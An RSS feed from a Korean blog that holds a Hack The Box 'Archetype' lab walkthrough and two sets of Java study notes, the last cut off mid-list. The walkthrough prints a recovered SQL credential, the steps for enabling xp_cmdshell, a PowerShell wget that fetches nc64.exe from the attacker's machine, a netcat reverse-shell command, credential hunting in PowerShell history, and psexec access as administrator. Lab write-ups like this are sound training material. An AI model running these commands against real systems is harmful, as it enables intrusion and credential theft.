<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>chris-mk.log</title>
        <link>https://velog.io/</link>
        <description>회계+IT=???</description>
        <lastBuildDate>Fri, 07 Mar 2025 01:40:37 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>chris-mk.log</title>
            <url>https://velog.velcdn.com/images/chris-mk/profile/7485c38a-50de-458b-9954-2e4b50f0b731/social_profile.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. chris-mk.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/chris-mk" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[HTB] Starting Point: Archetype]]></title>
            <link>https://velog.io/@chris-mk/HTB-Starting-Poing-Archetype</link>
            <guid>https://velog.io/@chris-mk/HTB-Starting-Poing-Archetype</guid>
            <pubDate>Fri, 07 Mar 2025 01:40:37 GMT</pubDate>
            <description><![CDATA[<h2 id="1task">1.Task</h2>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/3c3f5927-b311-405c-93d0-034e8b5e2d52/image.png" alt="">
정상적으로 이번 Target Machine이 구동되고 연결된다는 것을 확인했다.</p>
<h3 id="11-which-tcp-port-is-hosting-a-database-server">1.1 Which TCP port is hosting a database server?</h3>
<pre><code>nmap -sC -sV {TARGET_IP}</code></pre><p><img src="https://velog.velcdn.com/images/chris-mk/post/3a772f01-c0d0-45b9-b548-e34cb6f8a6c6/image.png" alt=""></p>
<p>1433 TCP 포트에서 MSSQL이 호스팅 되고 있음을 확인할 수 있다.</p>
<h3 id="12-what-is-the-name-of-the-non-administrative-share-available-over-smb">1.2 What is the name of the non-Administrative share available over SMB?</h3>
<pre><code>smbclient -N -L \\\\{TARGET_IP}\\
-N : No password
-L : This option allows you to look at what services are available on a server</code></pre><p><img src="https://velog.velcdn.com/images/chris-mk/post/a493f7a5-4470-4ce0-8f74-0e9574462bc1/image.png" alt=""></p>
<p>정답은 backups다</p>
<h3 id="13-what-is-the-password-identified-in-the-file-on-the-smb-share">1.3 What is the password identified in the file on the SMB share?</h3>
<pre><code>smbclient -N \\\\{TARGET_IP}\\backups</code></pre><p><img src="https://velog.velcdn.com/images/chris-mk/post/3f4ae396-8405-4df0-b814-4277af475dc3/image.png" alt=""></p>
<p>위의 그림처럼 backups에 접근한다. 
이후 <code>get</code> 명령어를 이용해 <code>prod.dtsConfig</code>를 다운받았다. 내용은 다음과 같다.</p>
<pre><code>get prod.dtsConfig</code></pre><pre><code>&lt;DTSConfiguration&gt;
    &lt;DTSConfigurationHeading&gt;
        &lt;DTSConfigurationFileInfo GeneratedBy=&quot;...&quot; GeneratedFromPackageName=&quot;...&quot; GeneratedFromPackageID=&quot;...&quot; GeneratedDate=&quot;20.1.2019 10:01:34&quot;/&gt;
    &lt;/DTSConfigurationHeading&gt;
    &lt;Configuration ConfiguredType=&quot;Property&quot; Path=&quot;\Package.Connections[Destination].Properties[ConnectionString]&quot; ValueType=&quot;String&quot;&gt;
        &lt;ConfiguredValue&gt;Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;&lt;/ConfiguredValue&gt;
    &lt;/Configuration&gt;
&lt;/DTSConfiguration&gt;</code></pre><p>이 내용으로 보아하니 ID는 <code>sql_svc</code>, 패스워드는 <code>M3g4c0rp123</code> 이다.</p>
<h3 id="14-what-script-from-impacket-collection-can-be-used-in-order-to-establish-an-authenticated-connection-to-a-microsoft-sql-server">1.4 What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?</h3>
<p>파이썬에는 <strong>Impacket</strong> 이라는 콜렉션이 있다. <a href="https://github.com/SecureAuthCorp/impacket">https://github.com/SecureAuthCorp/impacket</a></p>
<p>여기에 있는 <code>mssqlclient.py</code>를 통해 MSSQL 서버와 연결과 인증을 수행할 수 있다. 사전 설치 방법은 다음과 같다.</p>
<pre><code>git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# OR:
sudo python3 setup.py install
# In case you are missing some modules:
pip3 install -r requirements.txt</code></pre><p>도움말을 살펴보자</p>
<pre><code>cd impacket/examples/
python3 mssqlclient.py -h</code></pre><p>아래 명령어를 통해 연결을 할 수 있다.</p>
<pre><code>python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth</code></pre><h3 id="15-what-extended-stored-procedure-of-microsoft-sql-server-can-be-used-in-order-to-spawn-a-windows-command-shell">1.5 What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?</h3>
<p>접속이 이뤄졌다면, <code>help</code>를 통해 우리가 뭘 할 수 있는지를 알아야 한다. 그리고 공격을 수행하기 위해 이를 분석해야한다. 아래 사이트는 mssql cheat sheet다
<a href="https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet">https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet</a></p>
<p>위의 사이트를 참고해서, 우리는 현재 접속한 서버에서 어떤 역할(role)인지를 살펴봐야한다.</p>
<pre><code>SELECT is_srvrolemember(&#39;sysadmin&#39;);</code></pre><p>결과값은 <code>1</code>이고 이는 <code>True</code>라는 뜻이다.</p>
<p>그리고 같은 사이트에서 <code>xp_cmdshell</code>을 통해 명령어 실행 설정방법을 찾을 수 있다. 먼저, <code>xp_cmdshell</code>이 이미 구동중인지 다음 명령어를 통해 살펴보자</p>
<pre><code>SQL&gt; EXEC xp_cmdshell &#39;net user&#39;;</code></pre><p>아마 서버 설정에 의해 <code>xp_cmdshell</code> 실행이 막혀있을 것이다. 다음 명령어를 통해 설정을 좀 만져주자.</p>
<pre><code>EXEC sp_configure &#39;show advanced options&#39;, 1;
RECONFIGURE;
sp_configure; - Enabling the sp_configure as stated in the above error message
EXEC sp_configure &#39;xp_cmdshell&#39;, 1;
RECONFIGURE;</code></pre><p>이제 시스템 명령어를 실행할 수 있다.</p>
<pre><code>SQL&gt; xp_cmdshell &quot;whoami&quot;</code></pre><p>아마 우리의 계정 <code>sql_svc</code>가 나올 것이다. 이제 리버스 쉘을 따볼 것이다. MSSQL 서버에 <code>nc64.exe</code> 바이너리를 업로드 하고, 실행함으로써, 우리의 리스닝 포트를 통해 해당 머신의 cmd.exe와 상호작용 할 수 있다.</p>
<p>먼저 HTTP 서버를 열어주자.</p>
<pre><code>sudo python3 -m http.server 80</code></pre><p>그리고 다른 터미널을 열어서 리스닝 포트를 열어주자.</p>
<pre><code>sudo nc -lvnp 443</code></pre><p>바이너리 파일을 서버에 업로드하기위해, 업로드 할 수 있는 서버 내 폴더 경로를 탐색해야한다. 왜냐하면 권한이 문제될 수 있기 때문이다. 일반 명령 프롬프트보다는 powershell 기능이 다양하므로 <code>powershell -c command</code> 문법을 사용할 것이다.(<code>-c</code>는 powershell로 하여금 명령어를 실행하게 한다.)</p>
<p>먼저 현재 작업중인 경로를 파악하자.</p>
<pre><code>xp_cmdshell &quot;powershell -c pwd&quot;</code></pre><p>아마 system32로 경로가 잡혀있을텐데 <code>sql_svc</code> 계정은 관리자 권한이 없으므로 해당 경로에는 업로드 할 권한이 없다. 따라서 해당 사용자의 <code>Downloads</code> 디렉토리에 다운로드를 수행해주자.</p>
<pre><code>SQL&gt; xp_cmdshell &quot;powershell -c cd C:\Users\sql_svc\Downloads; wget
http://10.10.14.9/nc64.exe -outfile nc64.exe&quot;</code></pre><p>업로드가 성공하면 HTTP 서버를 구동중인 터미널에서 200 코드를 확인할 수 있다.</p>
<p>이제 리스닝 포트와 <code>cmd.exe</code>를 결합하자.</p>
<pre><code>SQL&gt; xp_cmdshell &quot;powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe
10.10.14.9 443&quot;</code></pre><p>위의 명령어는 방금 우리가 업로드를 수행한 경로로 이동한 뒤 <code>nc64.exe</code>를 실행한다. 그리고 <code>cmd.exe</code>를 원격으로 원하는 IP의 포트에서 실행하도록 한다.</p>
<p>사용자의 <code>Desktop</code>에서 user flag를 확인할 수 있다.</p>
<h3 id="16-what-script-can-be-used-in-order-to-search-possible-paths-to-escalate-privileges-on-windows-hosts">1.6 What script can be used in order to search possible paths to escalate privileges on Windows hosts?</h3>
<p>권한 상승을 위해, <code>winPEAS</code>를 사용할 것이다. <code>winPEAS</code>는 enumerate 단계의 상당히 많은 부분을 자동화해준다. 다운로드는 <a href="https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe">여기</a>서 할 수 있다.</p>
<p>위에서 했던 방식과 같은 방식(HTTP)으로 <code>winPEAS</code> 파일을 서버에 다운로드 해주자.</p>
<p>이제 리스닝 포트를 통해 해당 파일을 실행해주면 어어어어엄청 긴 결과가 나오는데 중요한 부분은 <code>SeImpersonatePrivilege</code>다.</p>
<h4 id="impersonate가장">Impersonate/가장</h4>
<p>가장이란 자격 증명을 사용하여 클라이언트 또는 일부 다른 사용자의 보안 자격 증명을 사용하여 서버 프로세스를 실행할 수 있도록 하는 메커니즘이다.(<a href="https://learn.microsoft.com/ko-kr/windows/win32/secgloss/i-gly">출처</a>)</p>
<p>&quot;Impersonate a Client After Authentication&quot;은 Windows 2000의 보안 설정으로 Windows 2000 SP4에서 처음 소개되었다. 이 기능을 사용자 권한에 할당 할 경우, 사용자를 대신하여 실행되는 프로그램이 클라이언트 가장(Impersonate)을 할 수 있게 해준다. 
 이 설정을 통해 미인증(unauthorized)된 서버에 RPC 혹은 named pipes와 같은 방법을 통해 연결을 하는 클라이언트 가장을 방지(prevent) 해준다.(<a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/seimpersonateprivilege-secreateglobalprivilege#issue-1-the-impersonate-a-client-afterauthentication-user-right-seimpersonateprivilege">출처</a>)</p>
<p>비교적 쉽게 풀어쓴 글은 <a href="https://blog.naver.com/jjoommnn/130029072191">여기</a>에 있다.</p>
<h3 id="17-what-file-contains-the-administrators-password">1.7 What file contains the administrator&#39;s password?</h3>
<p>위의 <code>SeImpersonatePrivilege</code>는 Juicy potato exploit이라는 취약점을 가지고 있으나. 여기서는 크레덴셜을 포함 할 수 있는 파일들을 먼저 확인할 것이다.</p>
<p>현재 계정은 평범한 사용자 계정이므로, 자주 접근하는 파일 혹은 자주 실행되는 명령어를 확인하는 것이 유용하다. 그러기 위해 우리는 PowerShell history 파일을 읽어볼 것이다.(리눅스에서는 <code>.bash_history</code> 파일이다.) <code>ConsoleHost_history.txt</code> 파일은 
<code>C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\</code> 경로 내에 있다.</p>
<p>해당 파일을 읽어보면 Administrator의 패스워드를 알 수 있다.</p>
<p>이제 Impacket의 <code>psexec.py</code>라는 툴을 사용하여 관리자 권한으로 쉘을 딸 것이다.</p>
<pre><code>python3 psexec.py administrator@{TARGET_IP}</code></pre><p>Desktop에서 관리자 플래그를 찾을 수 있다.</p>
<p>kali에서 impacket을 사용하는데 도움되는 사이트를 아래에 남겨놓는다.
<a href="https://www.kali.org/tools/impacket-scripts/#impacket-psexec">https://www.kali.org/tools/impacket-scripts/#impacket-psexec</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[JAVA - 3]]></title>
            <link>https://velog.io/@chris-mk/JAVA-3</link>
            <guid>https://velog.io/@chris-mk/JAVA-3</guid>
            <pubDate>Thu, 23 Jan 2025 06:08:23 GMT</pubDate>
            <description><![CDATA[<h2 id="1-상속">1. 상속</h2>
<h3 id="11-상속의-정의">1.1 상속의 정의</h3>
<blockquote>
<p>상속이란 기존의 클래스를 재사용하여 새로운 클래스를 작성하는 것이다.</p>
</blockquote>
<blockquote>
<p>생성자와 초기화 블럭은 상속되지 않는다. 멤버만 상속이 이뤄진다. </p>
</blockquote>
<blockquote>
<p>따라서 자손클래스의 인스턴스를 생성하면 조상 클래스의 멤버와 자손 클래승의 멤버가 합쳐진 하나의 인스턴스가 생성된다.</p>
</blockquote>
<pre><code>class Parent {
    int age;
}

class Child extends Parent {
    void play(){
        ...
    };
</code></pre><h3 id="12-포함관계">1.2 포함관계</h3>
<p>굳이 상속이 아니더라도 클래스를 재사용할 수 있다. 그 방법은 한 클래스의 멤버변수로 다른 클래스 타입의 참조변수를 선언하는 것이다.(클래스 안에서 다른 클래스를 멤버변수로 쓰는 것이다.)</p>
<h3 id="13-포함-vs-상속">1.3 포함 vs 상속</h3>
<p>클래스의 관계를 포함으로 할 지, 상속으로 할 지 고민해야한다. 만약 두 클래스의 관계가 ~is 라면 상속, ~include 라면 포함으로 관계를 설정하는 것이 좋다.</p>
<h3 id="14-단일-상속">1.4 단일 상속</h3>
<p>잠깐 C++를 살펴보자. C++는 여러 클래스로부터의 상속이 가능하다.(<strong>다중상속</strong>) 하지만 자바에서는 오직 단일 상속만이 가능하다. 만약 여러 클래스를 재활용하고 싶다면 &#39;포함&#39;을 활용하는 것이 좋다.</p>
<h3 id="15-object클래스---근__본">1.5 Object클래스 - 근__본</h3>
<p>사실 <code>extends</code>를 쓰지 않아도 클래스는 상속을 받는다. 만약, 우리가 상속할 클래스를 작성하지 않는 경우, 컴파일러는 자바의 Object 클래스를 자동으로 상속한다.
따라서 우리가 어떤 관계로든 클래스간의 관계를 설정하더라도, 최상위 조상 클래스는 Object클래스다. 이것이 <code>toString()</code>, <code>equals()</code>와 같은 메서드를 따로 정의하지 않고도 쓸 수 있는 이유다.</p>
<h2 id="2-오버라이딩overriding">2. 오버라이딩(overriding)</h2>
<h3 id="21-개념">2.1 개념</h3>
<p>조상 클래스로부터 상속받은 메서드의 내용을 변경하는 것을 <strong>오버라이딩</strong>이라고 한다.</p>
<h3 id="22-조건">2.2 조건</h3>
<blockquote>
<ol>
<li>이름이 같고</li>
<li>매개변수가 같고</li>
<li>반환타입이 같아야한다.</li>
</ol>
</blockquote>
<p>다만 접근 제어자와 예외는 제한된 조건 하에서만 다르게 변경할 수 있다. 그리고 추가적으로 주의해야 할 사항은 다음과 같다.</p>
<blockquote>
<ol>
<li>접근 제어자를 조상 클래스의 메서드보다 좁은 범위로 변경할 수 없다.</li>
<li>예외는 조상 클래스의 메서드보다 많이 선언할 수 없다.</li>
<li>인스턴스메서드를 static메서드로 또는 그 반대로 변경할 수 없다.</li>
</ol>
</blockquote>
<h3 id="23-오버로딩과-오버라이딩">2.3 오버로딩과 오버라이딩</h3>
<p><strong>오버로딩(overloading)</strong>은 기존에 없는 새로운 메서드를 정의하는 것이고. <strong>오버라이딩(overriding)</strong>은 상속받은 메서드의 내용을 변경하는 것이다.</p>
<h3 id="24-super">2.4 super</h3>
<p><code>this</code>를 멤버변수와 지역변수를 구분할 때 사용한 것처럼, <code>super</code>는 조상클래스의 멤버와 자손클래스의 멤버를 구분할 때 사용한다.</p>
<h3 id="25-super">2.5 super()</h3>
<p><code>super()</code>는 조상 클래스 생성자다. 이 생성자가 필요한 이유는 자손 클래스의 멤버가 조상 클래스의 멤버를 사용할 수도 있기 때문이다. 따라서 Object 클래스를 제외한 모든 클래스의 생성자는 첫 줄에 다른 클래스 혹은 조상 클래스의 생성자를 호출해야한다. 그렇지 않으면 컴파일러는 자동으로 <code>super();</code>를 추가할 것이다.</p>
<h2 id="3-package와-import">3. package와 import</h2>
<h3 id="31-package">3.1 package</h3>
<blockquote>
<ol>
<li>하나의 소스파일에는 첫 번째 문장으로 단 한 번의 패키지 선언만을 허용한다.</li>
<li>모든 클래스는 반드시 하나의 패키지에 속해야한다.</li>
<li>패키지는 <code>.</code>을 구분자로 하여 계층구조로 구성할 수 있다.</li>
<li>패키지는 물리적으로 클래스 파일을 포함하는 하나의 디렉토리다.</li>
</ol>
</blockquote>
<h3 id="32-package-선언">3.2 package 선언</h3>
<pre><code>package dir1.dir2.pack;

class PackageTest {
    public static void main(String[] args){
        System.out.println(&quot;Hello, my package&quot;)
    }
}</code></pre><p>다음과 같이 옵션을 추가하여 컴파일 하면 지정된 경로를 참조하거나, 해당 디렉토리가 존재하지 않는다면 자동적으로 생성한다.</p>
<pre><code>javac -d . PackageTest.java</code></pre><p>경우에 따라 루트 디렉토리를 클래스 패스에 포함해야할 수 있다. 아니면 JDK에 기본적으로 설정되어 있는 클래스패스를 사용할 수 있다.</p>
<h3 id="33-import-문">3.3 import 문</h3>
<p>Python과 같은 요령으로 사용하면 된다.
참고로 System과 String과 같은 java.lang 패키지 내의 클래스들을 import없이 사용할 수 있었던 것은 모든 소스파일에서 해당 패키지가 암묵적으로 <code>import</code>되어 있기 때문이다.</p>
<h3 id="34-static-import">3.4 static import</h3>
<p><code>static import</code>를 하면 static 멤버를 호출할 때 클래스의 이름을 생략할 수 있다.</p>
<h2 id="4-제어자modifier">4. 제어자(modifier)</h2>
<h3 id="41-static">4.1 static</h3>
<p><code>static</code>을 통해 멤버 변수와 메서드는 인스턴스간의 구분없이 공통적인 변수와 메서드가 된다. 초기화 블럭에도 사용가능하다.</p>
<h3 id="42-final">4.2 final</h3>
<p><code>final</code>을 사용하면 클래스는 더이상 조상 클래스가 될 수 없고, 메서드는 오버라이딩을 할 수 없으며, 변수들은 변경이 불가능하다.
하지만 인스턴스 변수는 생성자를 통해서 초기화가 가능하다. 선언만 하고, 값은 생성자의 매개변수로 전달받으면 된다. 이러면 인스턴스 별로 서로 다른 값을 가지게 할 수 있다.</p>
<h3 id="43-abstract">4.3 abstract</h3>
<p>지금은 아직 완성되지 않은 메서드, 클래스 앞에 붙여서 쓰는걸로 이해하자.</p>
<h3 id="44-접근-제어자access-modifier">4.4 접근 제어자(access modifier)</h3>
<blockquote>
<ol>
<li><code>public</code>: 전체에서 접근 가능</li>
<li><code>protected</code> : 같은 패키지, 다른 패키지의 자손클래스에서 접근 가능</li>
<li><code>default</code> : 같은 패키지 내 접근만 가능</li>
<li><code>private</code> : 같은 클래스 내에서만 접근이 가능하다.</li>
</ol>
</blockquote>
<h3 id="45-제어자-조합-사용">4.5 제어자 조합 사용</h3>
<p>다음은 제어자를 조합할 떄 주의해야 할 사항이다.</p>
<blockquote>
<ol>
<li>메서드에 <code>static</code>과 <code>abstract</code>를 함께 사용할 수 없다.</li>
<li>클래스에 <code>abstract</code>와 <code>final</code>을 함께 사용할 수 없다.</li>
<li><code>abstract</code>메서드의 접근 제어자가 <code>private</code>일 수 없다.</li>
<li>메서드에 <code>private</code>과 <code>final</code>을 같이 사용할 필요는 없다.</li>
</ol>
</blockquote>
<h2 id="5-다형성">5. 다형성</h2>
<h3 id="51-개념">5.1 개념</h3>
<p>자바에서 <strong>다형성</strong>이란 여러 가지 형태를 가질 수 있는 능력을 의미한다. 
구체적인 사례로 이야기하자면, 조상 클래스 타입의 참조변수로 자손 클래스의 인스턴스를 참조할 수 있다. 하지만 반대는 불가능하다. 왜냐하면 조상 클래스에 정의되어있지 않는 멤버가 사용되는 것을 방지하기 위함이다.</p>
<h3 id="52-참조변수의-형변환">5.2 참조변수의 형변환</h3>
<p>참조변수도 형 변환이 가능하다. 다시 말하자면 자손 타입에서 조상 타입으로 형 변환이 가능하다는 것이다. 이 경우, 형변환은 생략될 수 있다. 하지만 반대는 형 변환이 불가능하다.</p>
<pre><code>class Parent{
...
}

class Child extends Parent{
...
}

Child c;
Child c2 = null;
Parent p;

p = c; // p = (Parent) c;에서 형변환 생략, 업캐스팅
c2 = (Child) p; //생략 불가, 다운캐스팅</code></pre><p>이렇게 형변환을 하더라도 참조변수에 대해 형변환이 이뤄진 것 뿐이라, 인스턴스에는 아무런 영향이 없다. 단지 참조변수의 형변환을 통해서 참조하는 인스턴스에서 접근 할 수 있는 멤버의 수를 조절할 뿐이다.</p>
<p>여기서는 조상 클래스와 자손 클래스 간의 양방향 참조변수 형변환이 가능하다고 말했다. 그런데 5.1에서는 일방향 밖에 안된다고 하지 않았는가?</p>
<p>그 이유는 5.2에서는 자손 클래스의 인스턴스에 대한 참조변수의 형변환만을 이야기하는 것이기 때문이다. 만약 조상 클래스 인스턴스에 대한 참조변수를 형변환 하는 경우에는 컴파일은 되지만 실행에서 에러가 발생한다.</p>
<h3 id="53-instanceof연산자">5.3 instanceof연산자</h3>
<p><code>instanceof</code> 연산자는 왼쪽의 참조변수가 오른쪽의 타입의 인스턴스인지 판단해준다.</p>
<h3 id="54-참조변수와-인스턴스의-연결">5.4 참조변수와 인스턴스의 연결</h3>
<p>자손 클래스에서 조상 클래스의 메서드를 오버라이드 할 수 있음을 앞서 살펴보았다. 그렇다면 조상 클래스의 멤버변수와 자손 클래스의 인스턴스변수가 같은 이름으로 정의 되어 있을 때 어떤 일이 일어날까?
이 경우, 참조 변수가 조상 클래스인 경우에는 조상 클래스의 멤버 변수에 접근하게 되고, 자손 클래스 타입의 참조 변수인 경우에는 인스턴스변수에 접근하게 된다. </p>
<h3 id="55-매개변수의-다형성">5.5 매개변수의 다형성</h3>
<p>임의의 클래스 타입의 참조변수가 메서드의 매개변수로 주어지는 경우, 해당 클래스를 상속받는 또다른 임의의 클래스 타입의 인스턴스는 해당 메서드의 매개변수로 전달 될 수 있다.
다시 말하자면, 매개변수에 주어진 클래스 타입과 일치하는 참조변수 뿐만 아니라 해당 클래스를 상속받은 클래스 타입의 참조변수도 매개변수에 전달될 수 있다는 뜻이다.
<code>println(Object obj)</code> 메서드가 모든 타입을 다룰 수 있는 이유가 바로 여기에 있다. 모든 클래스의 최상위 조상 클래스는 Object 이기 때문이다.</p>
<h3 id="56-여러-종류의-객체를-배열로-다루는-방법">5.6 여러 종류의 객체를 배열로 다루는 방법</h3>
<pre><code>Parent p[] = new Parent[3];
p[0] = new Child1();
p[1] = new Child2();
p[2] = new Child3();</code></pre><p>이처럼 조상타입의 참조변수 배열을 통해, 공통 조상을 가진 서로 다른 종류의 객체를 배열로 묶어서 다룰 수 있다. 하지만 배열의 크기를 사전에 설정해야하는 것이 문제가 된다. 그렇다고 무작정 크기를 크게 설정 할 수도 없는 노릇이다. 이때 사용하는 것이 <strong>Vector</strong> 클래스다. 이 클래스에는 내부적으로 Object타입의 배열을 가지고 있어서, 이 배열에 객체를 추가하거나 제거할 수 있게 작성되어 있다.그리고 배열의 크기를 알아서 관리해준다.
Vector 클래스는 <code>add</code>, <code>remove</code>, <code>isEmpty</code>, <code>get</code>, <code>size</code> 메서드를 가진다.</p>
<h2 id="6-추상클래스abstract-class">6. 추상클래스(abstract class)</h2>
<p>추상클래스란 해당 클래스에 미완성 된 메서드, 추상 메서드가 있다는 의미다. 추상클래스로는 인스턴스 생성이 불가능하며, 상속을 통해 자손클래스에서 완성되어야 한다. 만약 자손 클래스가 하나라도 미완성인 메서드를 가진다면 자손 클래스도 <code>abstract</code>를 붙여야 한다.
 이를 이용해서 구현부는 다르지만 공통적인 선언부를 갖는 클래스들에 대해서 조상-자손 클래스 관계를 형성할 수 있다. 이때, 선언부만 같다면 <code>abstract</code>를 통해 추상화를 수행할 수 있다. 그리고 조상 클래스 참조변수 배열을 통해 자손 클래스 인스턴스들을 다룰 수 있다. </p>
<h2 id="7-인터페이스interface">7. 인터페이스(Interface)</h2>
<h3 id="71-개념">7.1 개념</h3>
<p>인터페이스는 일종의 추상클래스다. 하지만, 추상메서드와 상수만을 멤버로 가질 수 있다.</p>
<h3 id="72-인터페이스-작성">7.2 인터페이스 작성</h3>
<pre><code>interface 인터페이스 이름 {
    public static final 타입 상수이름 = 값;
    public abstract 메서드 이름(메개변수 목록);
}</code></pre><blockquote>
<ol>
<li>모든 멤버변수는 <code>public static final</code>이어야 하며, 생략 가능하다.</li>
<li>모든 메서드는 <code>public abstract</code>이어야 하며, 이를 생략할 수 있다. 단 <code>static</code>메서드와 <code>default</code>메서드는 제외한다.(JDK1.8~)</li>
</ol>
</blockquote>
<h3 id="73-인터페이스의-상속">7.3 인터페이스의 상속</h3>
<p>인터페이스는 클래스와 다르게 다중상속이 가능하다.</p>
<h3 id="74-인터페이스의-구현">7.4 인터페이스의 구현</h3>
<p>인터페이스는 그 자체로 인스턴스를 생성할 수 없다.(추상클래스와 마찬가지로) 따라서 인터페이스는 자신을 완성해 줄 클래스가 필요하다. 그 과정은 추상클래스를 구체화 하는 과정과 다를 것이 없다. 다만 <code>extends</code> 대신 <code>implements</code> 키워드를 사용할 뿐이다.(물론 둘 다 동시에 쓸 수 있다. 구현과 상속을 동시에!!) 물론 인터페이스의 일부만 구현한 경우에는 <code>abstract</code>를 붙여 추상클래스로 선언해야한다.</p>
<h3 id="75-인터페이스를-통한-다중-상속">7.5 인터페이스를 통한 다중 상속</h3>
<p>자바에서는 다중 상속이 불가능하다. 하지만 인터페이스를 통한 다중 상속은 가능하다. 물론 인터페이스의 목적이 다중 상속에 있는 것은 아니라는 점에 유의하자.</p>
<h3 id="76-인터페이스를-이용한-다형성">7.6 인터페이스를 이용한 다형성</h3>
<p>인터페이스는 클래스에서 구현된다. 즉 인터페이스는 자기 자신을 구현해주는 클래스의 조상이라고 할 수 있다. 따라서 인터페이스 타입의 참조변수로 클래스의 인스턴스를 참조할 수 있으며 형변환도 가능하다.
이에 더해, 인터페이스는 메서드의 매개변수의 타입으로 사용될 수 있다. 인터페이스 타입의 매개변수는 인터페이스 자체가 아닌, 해당 인터페이스를 구현한 클래스의 인스턴스가 전달되어야 함을 의미한다. 
메서드의 리턴 타입으로 인터페이스 타입을 지정할 수도 있다. <strong>리턴타입이 인터페이스라는 것은 메서드가 해당 인터페이스를 구현한 클래스의 인스턴스를 반환한다는 것을 의미한다.</strong> 자꾸 인터페이스 자체가 매개변수로 전달되거나 반환되는게 아니라 이를 구현한 클래스의 인스턴스를 반환하는지 의문일 수도 있다. 하지만 잘 생각해보자 <strong>인터페이스는 고도의 추상화가 이뤄진 미완성품이다.</strong> 미완성품을 전달하거나 반환할 수 없다.</p>
<h3 id="77-인터페이스의-장점">7.7 인터페이스의 장점</h3>
<blockquote>
<ol>
<li>개발시간 단축</li>
<li>표준화</li>
<li>클래스 간 관계 설정</li>
<li>독립적인 프로그래밍</li>
</ol>
</blockquote>
<h3 id="78-인터페이스의-이해">7.8 인터페이스의 이해</h3>
<p>A클래스가 B클래스의 인스턴스를 생성하여 이용한다고 가정하자. B클래스의 메서드 등이 수정되면 A클래스도 수정되어야 한다. <strong>이 때, A와 B는 강하게 결합되어 있다.</strong> 고 볼 수 있다. </p>
<p>이 때, 인터페이스를 이해하면 이 결합을 약하게 할 수 있다. I인터페이스가 B클래스에서 구현된다고 하자. 그리고 A클래스는 I인터페이스를 매개변수 타입으로 설정한 메서드를 가지고 있다. 이 경우, A클래스 선언부에는 B클래스에 관한 내용이 전혀 들어가지 않지만, 인터페이스를 통해 B클래스 메서드에 접근할 수 있다.</p>
<p>즉, A클래스는 B클래스에 관한 구체적인 정보를 알지 않아도 되고, 알 필요도 없다. </p>
<p><del>사실 제3의 클래스를 통해 간접적인 관계를 설정할 수도 있긴하다.</del></p>
<h3 id="79-디폴드-메서드-static-메서드">7.9 디폴드 메서드, static 메서드</h3>
<p>JDK 1.8 이후로 static 메서드를 인터페이스에서 사용할 수 있게 되었다. 그 이전에는? 불가능했다. 사실 안 될 이유가 없는데 규칙의 단순화를 위해서 막아왔었다고 한다.</p>
<p>만약 인터페이스에 새롭게 메서드를 추가한다면? 해당 인터페이스를 구현하는 클래스에서 해당 메서드를 하나씩 구현하도록 해야한다. 여간 귀찮은 일이아니다. 따라서 JDK 1.8이후로 디폴트 메서드는 구현되지 않아도 되도록 바뀌었다. </p>
<blockquote>
<ol>
<li>여러 인터페이스의 디폴트 메서드 간의 충돌은 클래스에서 디폴트 메서드를 오버라이딩 해야한다.</li>
<li>디폴트 메서드와 조상 클래스의 메서드간 충돌의 경우, 조상 클래스의 메서드가 상속되고, 디폴트 메서드는 무시된다.</li>
</ol>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[JAVA - 2]]></title>
            <link>https://velog.io/@chris-mk/JAVA-2</link>
            <guid>https://velog.io/@chris-mk/JAVA-2</guid>
            <pubDate>Wed, 22 Jan 2025 04:58:37 GMT</pubDate>
            <description><![CDATA[<h2 id="1-클래스와-객체">1. 클래스와 객체</h2>
<h3 id="11-인스턴스의-생성과-사용">1.1 인스턴스의 생성과 사용</h3>
<pre><code>Student student1; // 객체 참조를 위한 참조변수 - 객체의 주소가 여기에 담긴다.
student1 = new Student(); // 객체를 생성하면서, 참조변수에 인스턴스의 주소를 담는다.</code></pre><h3 id="12-객체-배열">1.2 객체 배열</h3>
<p>많은 객체를 생성할 일이 있을 때 이것을 배열로 다룰 수 있다.</p>
<pre><code>Student[] stuarr = new Student[5];</code></pre><p>이 때, <code>stuarr</code>에는 아무것도 담기지 않았다. 클래스의 참조변수를 담을 &#39;틀&#39;만을 만들었을 뿐이다. 이를 해결하기 위해 아래처럼 객체를 일일이 생성해야한다. 물론 <code>for</code>문을 이용해도 된다.</p>
<pre><code>stuarr[0] = new Student();
stuarr[1] = new Student();
...
stuarr[4] = new Student();</code></pre><h2 id="2-변수와-메서드">2. 변수와 메서드</h2>
<h3 id="21-선언-위치에-따른-변수-종류">2.1 선언 위치에 따른 변수 종류</h3>
<ul>
<li><p><strong>instance variable</strong>
  인스턴스 변수라고 한다. 클래스 내에서 선언이 이뤄지며, 인스턴스가 생성될때, 같이 생성된다. 인스턴스 별로 서로 다른 값을 가진다.</p>
</li>
<li><p><strong>class variable</strong>
